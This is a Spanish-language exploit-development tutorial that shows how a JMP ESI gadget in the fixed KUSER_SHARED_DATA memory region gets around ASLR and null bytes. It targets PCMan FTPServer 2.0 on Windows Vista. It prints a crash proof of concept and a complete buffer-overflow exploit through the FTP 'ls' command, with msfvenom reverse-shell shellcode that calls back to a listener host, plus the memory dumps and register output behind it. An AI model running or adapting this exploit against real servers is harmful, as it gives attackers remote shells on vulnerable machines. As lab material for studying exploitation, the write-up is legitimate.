Jugando con el KUSER_SHARED_DATA

Published on:

Introducción

En esta tercera entrada (y de momento la última) sobre exploiting, vamos a ver algo interesante sobre un espacio de memoria que siempre permanece fijo en la misma posición.

  • ¿Pero qué me dices? Eso es imposible, los últimos Windows todos traen ASLR. ¡No puede ser!

Esa fue mi primera reacción, pero gracias a los cracks Ricardo Narvaja y "Gus DS" del canal de Telegram de CLS me explicaron que hay una zona de la memoria que siempre se carga en la misma posición en todos los binarios de windows. También se puede leer en el libro "Practical Reverse Engineering": "On all architectures, there is a per-process structure called KUSERSHAREDDATA that is always mapped at 0x7ffe0000".
Esto es bastante útil cuando tenemos ASLR o si en la libreria o ejecutable que no tiene ASLR no podemos usar la dirección porque contiene el carácter null (\x00). Aunque es díficil encontrar un gadget que sirva para tu exploit porque en esta zona se guardan datos como la hora del sistema, variables globales, etc, a veces suena la flauta, como en este caso y encuentras un gadget salvador. Alguien también me comentaron por el canal que incluso se puede lanzar el exploit a una hora determinada y exacta para utilizar esos valores como gadget. Pura virguería de exploiter que se me queda un poco grande.

Laboratorio

Todos este artículo está basado en los resultados de ejecutar el software "PCMan FTPServer 2.0" en un "Windows Vista Ultimate Service Pack 1". Si lo haces con otro sistema operativo puede que los resultados sean diferentes, con lo que te serviría como práctica.

¡Al lío!

Nos saltamos el hallar el offset del crash y los bad chars y entramos en situación directamente cuando vemos que nuestro programa "crashea" y no hay manera de encontrar un gadget que no tenga el caracter null. Explotamos el crash abusando del comando "ls" del FTP. Este nuestro script inicial con el crash:

#!/usr/bin/python

import socket
import sys
import os

#[*] Exact match at offset 2008                            

#Bad chars = \x00\x0a\x0d

crash = "A" * 2008 + "\x42\x42\x42\x42" + "\x90" * 20 + "\xcc"  + "B" * 900

buffer = crash + "\r\n"

print "[**] Sending a present to PCMan..."
try:
    expl=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
except:
    print "socket() failed"
    sys.exit(1)

expl.connect(("192.168.11.10", 21))

print(expl.recv(1024))
expl.send("USER anonymous\r\n")
print(expl.recv(1024))
expl.send("PASS pass\r\n")
print(expl.recv(1024))
expl.send("ls " + buffer)
expl.close()

En las siguientes imagenes se ve claramente como el registro ESI apunta al principio de nuestro buffer cuando el EIP llega a nuestras B's. Ups! Perdón, pero ya no se pueden subir imágenes en logdown con la versión gratuita, ahora hay que pagar money para esa funcionalidad. Lo pondré en texto, a ver como queda:

0012ED58  41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42  AAAAAAAAAAAABBBB
0012ED68  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
0012ED78  90 90 90 90 CC 42 42 42 42 42 42 42 42 42 42 42  ÌBBBBBBBBBBB
0012ED88  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB

Y aquí se ve el valor de los registros:

EAX 00000000
ECX 009D0570
EDX 00000030
EBX 00000000
ESP 0012ED6C
EBP 01BE1BA0
ESI 0012ED78
EDI 00000004
EIP 42424242

La búsqueda del gadget "JMP ESI" con mona sólo nos muestra resultados en los módulos sin ASLR y todas las direcciones de los gadgets encontrados en "blowfish.dll" y "pcmanftp2.exe" contienen el valor null("\x00"). Por lo tanto hay que buscar en otro sitio, y aquí es donde entra en juego el area de memoria que permanece fijo alrededor de KUSER_SHARED_DATA, concretamente este:

Memory map, item 247
 Address=7F6F0000
 Size=00006000 (24576.)
 Owner=         7F6F0000 (itself)
 Section=
 Type=Map  00041002
 Access=R
 Initial access=R

Si buscamos en la memoria el opcode de JMP ESI que es FFE6, encontramos este grupo de gadgets disponibles:

rasm2 -a x86 -b 32  'JMP ESI'
ffe6
7FFD15C0  00 00 00 00 00 00 00 00 00 00 00 00 E6 FF E6 FF  ............æÿæÿ
7FFD15D0  E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF  æÿæÿæÿæÿæÿæÿæÿæÿ
7FFD15E0  E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF  æÿæÿæÿæÿæÿæÿæÿæÿ
7FFD15F0  E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF  æÿæÿæÿæÿæÿæÿæÿæÿ

Y concretamente elegiremos este:

7FFD15EB   FFE6             JMP ESI

¿Por qué elegimos esta posición exactamente y no cualquier otra disponible? Esta es la parte curiosa del asunto y por la que me he obligado a escribir este post. Resulta que cuando ponemos cualquiera de esas direcciones del JMP ESI hace que el EIP caiga sobre el valor mismo de esa dirección. Es decir la dirección que pongamos, además de ejecutar el JMP ESI, también necesitamos que tenga sentido como código ensamblador. Si nos fijamos detenidamente la última parte de la dirección de memoria "15EB", su valor hexadecimal se traduce en ensamblador en "JMP 0x17":

rasm2 -a x86 -b 32  -d 'eb15'
jmp 0x17

Este salto nos permite avanzar en nuestro buffer y evitar el resto de la dirección haga interferencia con nuestro código, de esta manera podemos poner nuestro payload en esa parte del buffer y ejecutar nuestra reverse shell con una elegancia y un virutisismo exquisito. Me encanta este tipo de soluciones que tienen algo de magia en el proceso.
Este es el script definitivo que nos da la reverse shell:

#!/usr/bin/python


import socket
import sys
import os

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.106 LPORT=443 -b "\x00\x0d\x0a" -a x86 --platform windows -f python

#351 bytes


buf =  b""
buf += b"\xda\xc9\xbb\x6e\x90\xbb\x04\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x52\x31\x5e\x17\x83\xc6\x04\x03\x30\x83\x59"
buf += b"\xf1\x30\x4b\x1f\xfa\xc8\x8c\x40\x72\x2d\xbd\x40\xe0"
buf += b"\x26\xee\x70\x62\x6a\x03\xfa\x26\x9e\x90\x8e\xee\x91"
buf += b"\x11\x24\xc9\x9c\xa2\x15\x29\xbf\x20\x64\x7e\x1f\x18"
buf += b"\xa7\x73\x5e\x5d\xda\x7e\x32\x36\x90\x2d\xa2\x33\xec"
buf += b"\xed\x49\x0f\xe0\x75\xae\xd8\x03\x57\x61\x52\x5a\x77"
buf += b"\x80\xb7\xd6\x3e\x9a\xd4\xd3\x89\x11\x2e\xaf\x0b\xf3"
buf += b"\x7e\x50\xa7\x3a\x4f\xa3\xb9\x7b\x68\x5c\xcc\x75\x8a"
buf += b"\xe1\xd7\x42\xf0\x3d\x5d\x50\x52\xb5\xc5\xbc\x62\x1a"
buf += b"\x93\x37\x68\xd7\xd7\x1f\x6d\xe6\x34\x14\x89\x63\xbb"
buf += b"\xfa\x1b\x37\x98\xde\x40\xe3\x81\x47\x2d\x42\xbd\x97"
buf += b"\x8e\x3b\x1b\xdc\x23\x2f\x16\xbf\x2b\x9c\x1b\x3f\xac"
buf += b"\x8a\x2c\x4c\x9e\x15\x87\xda\x92\xde\x01\x1d\xd4\xf4"
buf += b"\xf6\xb1\x2b\xf7\x06\x98\xef\xa3\x56\xb2\xc6\xcb\x3c"
buf += b"\x42\xe6\x19\x92\x12\x48\xf2\x53\xc2\x28\xa2\x3b\x08"
buf += b"\xa7\x9d\x5c\x33\x6d\xb6\xf7\xce\xe6\x79\xaf\xe8\x9c"
buf += b"\x11\xb2\x08\x60\x59\x3b\xee\x08\x8d\x6a\xb9\xa4\x34"
buf += b"\x37\x31\x54\xb8\xed\x3c\x56\x32\x02\xc1\x19\xb3\x6f"
buf += b"\xd1\xce\x33\x3a\x8b\x59\x4b\x90\xa3\x06\xde\x7f\x33"
buf += b"\x40\xc3\xd7\x64\x05\x35\x2e\xe0\xbb\x6c\x98\x16\x46"
buf += b"\xe8\xe3\x92\x9d\xc9\xea\x1b\x53\x75\xc9\x0b\xad\x76"
buf += b"\x55\x7f\x61\x21\x03\x29\xc7\x9b\xe5\x83\x91\x70\xac"
buf += b"\x43\x67\xbb\x6f\x15\x68\x96\x19\xf9\xd9\x4f\x5c\x06"
buf += b"\xd5\x07\x68\x7f\x0b\xb8\x97\xaa\x8f\xc8\xdd\xf6\xa6"
buf += b"\x40\xb8\x63\xfb\x0c\x3b\x5e\x38\x29\xb8\x6a\xc1\xce"
buf += b"\xa0\x1f\xc4\x8b\x66\xcc\xb4\x84\x02\xf2\x6b\xa4\x06"

#[*] Exact match at offset 2008                            

#Bad chars = \x00\x0a\x0d

# No vale  "\x17\x42\x42\x00"

# Prueba con EB

#7FFD15eb        FF         JMP ESI  


crash = "A" * 2008 + "\xeb\x15\xfd\x7f" + "\x90" * 20 + buf
buffer = crash + "\r\n"

print "[**] Sending a present to PCMan..."
try:
    expl=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
except:
    print "socket() failed"
    sys.exit(1)

expl.connect(("192.168.56.102", 21))

print(expl.recv(1024))
expl.send("USER anonymous\r\n")
print(expl.recv(1024))
expl.send("PASS pass\r\n")
print(expl.recv(1024))
expl.send("ls " + buffer)
expl.close()